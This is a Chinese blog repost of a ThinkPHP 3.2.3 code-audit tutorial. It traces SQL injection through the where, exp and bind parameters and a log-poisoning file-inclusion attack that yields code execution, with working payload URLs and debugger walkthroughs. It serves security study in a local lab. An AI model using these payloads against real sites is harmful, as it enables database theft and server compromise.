百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术文章 > 正文

简记一次Tp3框架审计之旅

ccwgpt 2024-11-20 13:06 14 浏览 0 评论

前言

MVC框架是代码审计必需学习的知识,这里以TpV3.2.3框架为例,进行一次对MVC框架代码的漏洞审计,简单学一下MVC的相关知识,希望对正在学习MVC框架的师傅有所帮助。

框架

我们这里首先需要了解一下什么是MVC架构,

M:Model(模型),其负责业务数据的处理和与数据库的交互
V:View(视图),提供了展示数据的各种方式
C:Controller(控制器),负责用户请求的调度和处理业务逻辑

具体如下图


如果想对MVC框架进行进一步了解,可以参考https://www.kancloud.cn/manual/thinkphp/1698
接下来我们需要了解一下ThinkPHP框架。

TP3

如果想了解Tp3常见的操作,可以看一下这篇文章
https://blog.csdn.net/spc007spc/article/details/103489711

目录文件

Tp3的目录如下所示

www WEB部署目录(或者子目录)
├─index.php 入口文件
├─README.md README文件
├─Application 应用目录
├─Public 资源文件目录
└─ThinkPHP 框架目录

通俗的说的话,这里的index.php就是提供一个对外的接口,Public就是存放一些公共资源的地方,ThinkPHP是我们的核心框架,其内容如下:

├─ThinkPHP 框架系统目录(可以部署在非web目录下面)
│ ├─Common 核心公共函数目录
│ ├─Conf 核心配置目录
│ ├─Lang 核心语言包目录
│ ├─Library 框架类库目录
│ │ ├─Think 核心Think类库包目录
│ │ ├─Behavior 行为类库目录
│ │ ├─Org Org类库包目录
│ │ ├─Vendor 第三方类库目录
│ │ ├─ ... 更多类库目录
│ ├─Mode 框架应用模式目录
│ ├─Tpl 系统模板目录
│ ├─LICENSE.txt 框架授权协议文件
│ ├─logo.png 框架LOGO文件
│ ├─README.txt 框架README文件
│ └─ThinkPHP.php 框架入口文件

路由格式

Tp3提供了多种路由格式,这里的话对其进行简单介绍。

pathinfo模式

pathinfo 模式,是ThinkPHP的默认模式,其规范格式如下:

http://网址/index.php/模块/控制器/操作方法/参数/参数值

示例如下

http://127.0.0.1:8080/index.php/Home/Index/index/id/2


它的优点显而易见, 简化了URL地址。

普通模式

普通模式的规范格式如下

http://网址/index.php?m=模块名称&c=控制器&a=方法&参数=参数值

示例如下

http://127.0.0.1:8080/index.php?m=Home&c=index&a=index&id=1

兼容模式

兼容模式的规范格式如下

http://网址/index.php?s=/模块名称/控制器/方法/参数/参数值

示例如下

http://127.0.0.1:8080/index.php?s=Home/index/index/id/33

rewrite 模式

这个的话首先需要说一下配置,这个想要使用首先需要Apache开启rewrite拓展,我这里的环境是phpstudy集成环境,具体操作如下。
首先打开"phpStudy\PHPTutorial\Apache\conf\httpd.conf"文件,搜索rewrite_module将其前面的#删去


而后去TP的根目录,写一个.htaccess文件,内容如下

<IfModule mod_rewrite.c>
 RewriteEngine on
 RewriteCond %{REQUEST_FILENAME} !-d
 RewriteCond %{REQUEST_FILENAME} !-f
 RewriteRule ^(.*)$ index.php?s=$1 [QSA,PT,L]
</IfModule>

接下来重启phpstudy


此时就配置好了。(如若是linux环境,可参考此文https://blog.csdn.net/zhazhaji/article/details/80493513)
rewrite的规范格式如下

http://网址/模块/控制器/操作方法/参数/参数值

其实相比于默认模式就是少了个入口文件,看着更简洁了一些。
示例如下

http://127.0.0.1:8080/Home/index/index/id/2

特殊方法

ThinkPHP将一些经常使用的方法进行了封装,也就是我们这里的特殊方法,其目的在于使程序更加安全。
接下来对几个相对较常用的方法进行简单介绍。
如果想进行仔细了解,可以访问如下链接
https://www.cnblogs.com/kenshinobiy/p/9165662.html
https://www.thinkphp.cn/info/tag

I方法

I方法是ThinkPHP用于更加方便和安全的获取系统输入变量,可以用于任何地方,用法格式如下:

I('变量类型.变量名/修饰符',['默认值'],['过滤方法或正则'],['额外数据源'])

示例如下

echo I('get.id'); //等同于$_GET['id']
echo I('get.id',0); // 如果不存在$_GET['id'] 则返回0
echo I('get.name',''); // 如果不存在$_GET['name'] 则返回空字符串
echo I('get.name','','htmlspecialchars'); // 采用htmlspecialchars方法对$_GET['name'] 进行过滤,如果不存在则返回空字符串

M方法

M方法用于实例化一个基础模型类,M方法的调用格式:

M('[基础模型名:]模型名','数据表前缀','数据库连接信息')

示例如下

$User = M('User');
#等效于$User = new Model('User');

C方法

C方法是ThinkPHP用于设置、获取,以及保存配置参数的方法。

$model = C('db_name','thinkphp');; //读取当前的URL模式配置参数
$userType = C('USER_TYPE'); //获取USER_TYPE参数的值

漏洞分析

SQL注入

环境搭建

首先我们需要做一些配置。
我们需要在本地Mysql中新建一个thinkphp数据库用于测试,然后在其中新建一个users数据表,包括id、username、passwd三个字段


接下来我们需要让Tp与Mysql中的数据库进行对接。
打开Application\Home\Conf\config.php,写入以下内容

<?php
return array(
 'DB_TYPE' => 'mysql', // 数据库类型
 'DB_HOST' => 'localhost', // 服务器地址
 'DB_NAME' => 'thinkphp', // 数据库名
 'DB_USER' => 'root', // 用户名
 'DB_PWD' => 'root', // 密码
 'DB_PORT' => 3306, // 端口
 'DB_PREFIX' => '', // 数据库表前缀 
 'DB_CHARSET'=> 'utf8', // 字符集
 'DB_DEBUG' => TRUE, // 数据库调试模式 开启后可以记录SQL日志 3.2.3新增
);

此时环境便搭建好了。

where注入

打开/Application/Home/Controller/IndexController.class.php,添加内容如下

public function select() {
        $id = I('get.id');
        $user = M('users');
        $data = $user->find($id);
        var_dump($data);
        }


此时先在I方法处添加断点

接下来我们写入我们的语句

http://127.0.0.1:8080/index.php/home/index/select?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)-- -

访问之


然后开始单步调试
一开始都是赋值这种,后面看到这里


可以发现有一个htmlspecialchars函数过滤,不过这个主要是针对XSS的,所以对SQL注入影响不大,接着看,到最后


可以发现这里的value就是我们写入的语句,即1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)-- -
然后这里的话他过滤的关键词是

if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
        $value .= ' ';
    }

显而易见,过滤的很少,报错注入的updatexml和extractvalue,以及联合查询的union也未被过滤,所以这里也可以使用其他语句,例如

http://127.0.0.1:8080/index.php/home/index/select?id[where]=1 and 1=extractvalue(1,concat(0x7e,user(),0x7e))-- -


亦可使用联合查询

http://127.0.0.1:8080/index.php/home/index/select?id[where]=0 union select user(),2,3


接下来调整断点,将断点放在find处,进行单步调试


跟进

可以看到这里是判断数值是否为数字字符串串或字符串,满足的话就走if条件下的函数,不过看明显可以看出我们这里是数组(看旁边的options的值为array(1)也可以发现),不满足条件,所以直接走下面。
走到这个

$pk = $this->getPk();

跟进


在上面发现$pk=id


接下来继续往下走


这里检验了$pk是否为数组,因不满足条件(此处$pk='id'),所以直接走下面


接下来是添加limit=1,然后这个用了_parseOptions函数进行处理,跟进此自定义函数


这里的话可以看到有一个过滤的,但我们这里的话简单看一下就会发现,这里条件并不满足,我们这里的where的值是

0 union select user(),2,3

所以这里的话就直接pass,接下来继续走


这些就是一些查询语句,然后将结果返回,接下来到最后


这里进入parseWhere方法

我们这里的$where是字符串,所以走if语句,将$where的值赋给$whereStr


可以看到这里是直接返回了$whereStr,没有用过滤函数什么的处理,因此最终返回的仍是我们传入的


具体SQL内容如下

SELECT * FROM `users` WHERE 0 union select user(),2,3 LIMIT 1

exp注入

测试这个的话需要简单修改一下我们的select()方法,修改后内容如下

public function select() {
        $map =array('id'=>$_GET['id']);
        $user = M('users');
        $data = $user->where($map)->find();
        var_dump($data);
        }


这里需要说明一下,之所以不用I方法,是因为I方法中存在过滤,即think_filter函数,其内容如下

if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
        $value .= ' ';
    }

可以看出这里过滤了exp,所以不能直接用I方法来写,接下来我们访问网页,写入如下payload

http://127.0.0.1:8080/index.php/home/index/select?id[0]=exp&id[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)

同时开启调试,单步跟进


这里的话我们的where是数组,所以条件不满足,直接pass,第二个if同理,然后第三个的话,我们这里并未对optinos[where]进行赋值,所以就会走else,把$where的值赋给他,接着看


到find方法这里,第一个if语句,我们这里$options为数组,所以直接pass,第二个if语句,我们的$pk值为id,而非数组,所以也pass,到下面跟之前一样,参数被函数_parseOptions包裹,接下来跟进这个函数


这里有一个字段类型验证的,我们可以看到这个是满足条件的,所以他会进入下面这个函数,我们首先这个语句

if(is_scalar($val)) {

这里的is_scalar是检验变量是否为标量,什么是标量,官方文档如下

我们这里的$val变量值如下


是Array,因此不会进入这个if语句,即不会进入_parseType方法,这里直接pass,接着看下面


第一个是执行查询语句返回结果的,第二个是返回预编译的语句,继续跟进


我们这里用了where,跟进parseWhere方法


可以看到这里是拼接,继续往下看


最终返回的是拼接的结果,接下来走到最后,得到SQL语句


如下

SELECT * FROM `users` WHERE `id` =1 and updatexml(1,concat(0x7e,user(),0x7e),1) LIMIT 1

bind注入

更改内容如下

public function select() {
    $User = M("users");
    $user['id'] = I('id');
    $data['passwd'] = I('passwd');
    $valu = $User->where($user)->save($data);
    var_dump($valu);
        }

payload如下

http://127.0.0.1:8080/index.php/home/index/select?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&passwd=1

接下来开启xdebug,然后访问


这里与之前相同,因为是数组,所以让前三个if语句,直接到

if(isset($this->options['where']))

这里,因为没有设置这个options['where'],所以走下面,将$where的值赋给他,然后将值返回,接下来继续看


我们这里的data是一个数组,是有值的,所以

if(empty($data))

这个不满足条件,直接看下面,可以看到这里有_facade对data进行了处理,跟进这个函数


可以看到这里先是检验了是否有fields是否为空,然后进入

if(!empty($this->options['field'])) {

因为这里并不存在options['field'],所以直接pass,走else那里,即将fields值赋给这里的fields,接下来是foreach语句


因为$data中的passwd在fields中,所以走下面,即elseif那里
这里的$var为1是标量,所以满足条件,接下来data被_parseType函数处理,跟进这个函数


可以发现这里就是对内容进行了intval处理,没什么影响,继续跟进


这里的话是使用了filter函数对内容进行了一次过滤,跟进


接下来到_parseOptions函数


接下来这里以为$val是数组,使用不会进入_parseType方法,出来该方法后,到这里


跟进update方法


发现有parseSet方法,跟进此方法


可以看到这里拼接了=:,此时的SQL语句为

UPDATE `users` SET `passwd`=:0

接下来进入parseWhereItem方法


这里可以看出当$exp=bind时,$whereStr是可控的,而后得到拼接后的语句,此时的SQL

"UPDATE `users` SET `passwd`=:0 WHERE `id` = :0 and updatexml(1,concat(0x7e,user(),0x7e),1)"

接下来到execute执行函数这里


重点在于这里

if(!empty($this->bind)){
            $that   =   $this;
            $this->queryStr =   ($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));
        }

这个strtr函数在这里的话就是起到替换作用,比如我们这里,我们传入的是0(payload中的id[1]=0),那么这里就会拼接变成:0,而这个strtr函数将其替换为1


此时也就得到了我们最终的SQL语句

"UPDATE `users` SET `passwd`='1' WHERE `id` = '1' and updatexml(1,concat(0x7e,user(),0x7e),1)"

命令执行

环境搭建

环境配置,我们首先需要在\Application\Home\Controller\新建一个文件,用之前SQL注入的亦可,这里就用之前的了,修改文件内容如下

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function  index($value=''){
        $this->assign($value);
        $this->display();
    }
}


因为该漏洞利用的assign函数需要模板渲染,所以需要新建一个模板文件,模板文件位置如下

ThinkPHP\Application\Home\View\Index\index.html #内容随意

这里还需要说明的是,日志和debug的关系

若开启debug模式日志会到:\Application\Runtime\Logs\Home\下
若未开启debug模式日志会到:\Application\Runtime\Logs\Common\下

接下来开始复现一下,首先我们创建log文件

/ThinkPHP/index.php?m=--><?=phpinfo();?>接下来去包含log文件(这里log的文件名与年月日相关)
http://127.0.0.1:8080/ThinkPHP/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/23_01_18.log

漏洞分析

这里之所以存在漏洞,其原因是

由于在业务代码中如果对模板赋值方法assign的第一个参数可控,则导致模板路径变量被覆盖为携带攻击代码路径,造成文件包含,代码执行等危害。

接下来我们在函数处打上断点


而后访问

http://127.0.0.1:8080/ThinkPHP/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/23_01_18.log

开始单步调试


首先来到这个assign函数,这里的name是数组,其内容为我们的日志文件,可以看到这个函数里用了另一个assign函数来处理变量,跟进


这里判断$name是否为数组,我们的$name为数组,所以进入if语句,这里的array_merge是合并数组的,但这里$this->tvar
为空,所以这里的话其实就是$this->tVar=$name,即将name变量的值赋给了$tVar


继续跟进


接下来到display函数


同上个相似,这里是用了另一个同名函数来处理变量,跟进


我们这里模板内容为空,看到这里有fetch函数,跟进


首先判断了模板文件是否存在


而后检验使用的是否是PHP原生模板,系统配置的默认引擎是Think,所以这里走else


这里可以看到将$this->tVar的值赋给了$params,而后进入了listen函数,跟进此函数

发现这里经过一些判断后进入了exec函数,跟进此函数


可以发现这里是调用Behavior\ParseTemplateBehavior类中的run方法处理$params,我们跟进run方法,寻找哪里对日志文件路径进行了处理,最终找到ThinkPHP\Library\Think\Template.class.php文件下的fetch方法


loadTemplate函数是读取文件路径的,而后这里用load函数对其进行了处理,我们跟进此函数


$_filename是之前获取到的的缓存文件路径,$vars是带有变量_filename的数组,这里的$vars不为空,因此使用extract方法的EXTR_OVERWRITE默认描述对变量值进行覆盖。
最后include日志文件路径,造成文件包含,最终导致包含文件造成RCE。

参考链接

https://www.freebuf.com/articles/web/345544.html
https://www.freebuf.com/vuls/282906.html
https://mp.weixin.qq.com/s/OqfruwHf9CAt--2dQQfNJw
https://forum.butian.net/share/546

from https://www.freebuf.com/articles/web/355571.html

相关推荐

团队管理“布阵术”:3招让你的团队战斗力爆表!

为何古代军队能够以一当十?为何现代企业有的团队高效似“特种部队”,有的却松散若“游击队”?**答案正隐匿于“布阵术”之中!**今时今日,让我们从古代兵法里萃取3个核心要义,助您塑造一支战斗力爆棚的...

知情人士回应字节大模型团队架构调整

【知情人士回应字节大模型团队架构调整】财联社2月21日电,针对原谷歌DeepMind副总裁吴永辉加入字节跳动后引发的团队调整问题,知情人士回应称:吴永辉博士主要负责AI基础研究探索工作,偏基础研究;A...

豆包大模型团队开源RLHF框架,训练吞吐量最高提升20倍

强化学习(RL)对大模型复杂推理能力提升有关键作用,但其复杂的计算流程对训练和部署也带来了巨大挑战。近日,字节跳动豆包大模型团队与香港大学联合提出HybridFlow。这是一个灵活高效的RL/RL...

创业团队如何设计股权架构及分配(创业团队如何设计股权架构及分配方案)

创业团队的股权架构设计,决定了公司在随后发展中呈现出的股权布局。如果最初的股权架构就存在先天不足,公司就很难顺利、稳定地成长起来。因此,创业之初,对股权设计应慎之又慎,避免留下巨大隐患和风险。两个人如...

消息称吴永辉入职后引发字节大模型团队架构大调整

2月21日,有消息称前谷歌大佬吴永辉加入字节跳动,并担任大模型团队Seed基础研究负责人后,引发了字节跳动大模型团队架构大调整。多名原本向朱文佳汇报的算法和技术负责人开始转向吴永辉汇报。简单来说,就是...

31页组织效能提升模型,经营管理团队搭建框架与权责定位

分享职场干货,提升能力!为职场精英打造个人知识体系,升职加薪!31页组织效能提升模型如何拿到分享的源文件:请您关注本头条号,然后私信本头条号“文米”2个字,按照操作流程,专人负责发送源文件给您。...

异形柱结构(异形柱结构技术规程)

下列关于混凝土异形柱结构设计的说法,其中何项正确?(A)混凝土异形柱框架结构可用于所有非抗震和抗震设防地区的一般居住建筑。(B)抗震设防烈度为6度时,对标准设防类(丙类)采用异形柱结构的建筑可不进行地...

职场干货:金字塔原理(金字塔原理实战篇)

金字塔原理的适用范围:金字塔原理适用于所有需要构建清晰逻辑框架的文章。第一篇:表达的逻辑。如何利用金字塔原理构建基本的金字塔结构受众(包括读者、听众、观众或学员)最容易理解的顺序:先了解主要的、抽象的...

底部剪力法(底部剪力法的基本原理)

某四层钢筋混凝土框架结构,计算简图如图1所示。抗震设防类别为丙类,抗震设防烈度为8度(0.2g),Ⅱ类场地,设计地震分组为第一组,第一自振周期T1=0.55s。一至四层的楼层侧向刚度依次为:K1=1...

结构等效重力荷载代表值(等效重力荷载系数)

某五层钢筋混凝土框架结构办公楼,房屋高度25.45m。抗震设防烈度8度,设防类别丙类,设计基本地震加速度0.2g,设计地震分组第二组,场地类别为Ⅱ类,混凝土强度等级C30。该结构平面和竖向均规则。假定...

体系结构已成昭告后世善莫大焉(体系构架是什么意思)

实践先行也理论已初步完成框架结构留余后人后世子孙俗话说前人栽树后人乘凉在夏商周大明大清民国共和前人栽树下吾之辈已完成结构体系又俗话说青出于蓝而胜于蓝各个时期任务不同吾辈探索框架结构体系经历有限肯定发展...

框架柱抗震构造要求(框架柱抗震设计)

某现浇钢筋混凝土框架-剪力墙结构高层办公楼,抗震设防烈度为8度(0.2g),场地类别为Ⅱ类,抗震等级:框架二级,剪力墙一级,混凝土强度等级:框架柱及剪力墙C50,框架梁及楼板C35,纵向钢筋及箍筋均采...

梁的刚度、挠度控制(钢梁挠度过大会引起什么原因)

某办公楼为现浇钢筋混凝土框架结构,r0=1.0,混凝土强度等级C35,纵向钢筋采用HRB400,箍筋采用HPB300。其二层(中间楼层)的局部平面图和次梁L-1的计算简图如图1~3(Z)所示,其中,K...

死要面子!有钱做大玻璃窗,却没有钱做“柱和梁”,不怕房塌吗?

活久见,有钱做2层落地大玻璃窗,却没有钱做“柱子和圈梁”,这样的农村自建房,安全吗?最近刷到个魔幻施工现场,如下图,这栋5开间的农村自建房,居然做了2个全景落地窗仔细观察,这2个落地窗还是飘窗,为了追...

不是承重墙,物业也不让拆?话说装修就一定要拆墙才行么

最近发现好多朋友装修时总想拆墙“爆改”空间,别以为只要避开承重墙就能随便砸!我家楼上邻居去年装修,拆了阳台矮墙想扩客厅,结果物业直接上门叫停。后来才知道,这种配重墙拆了会让阳台承重失衡,整栋楼都可能变...

取消回复欢迎 发表评论: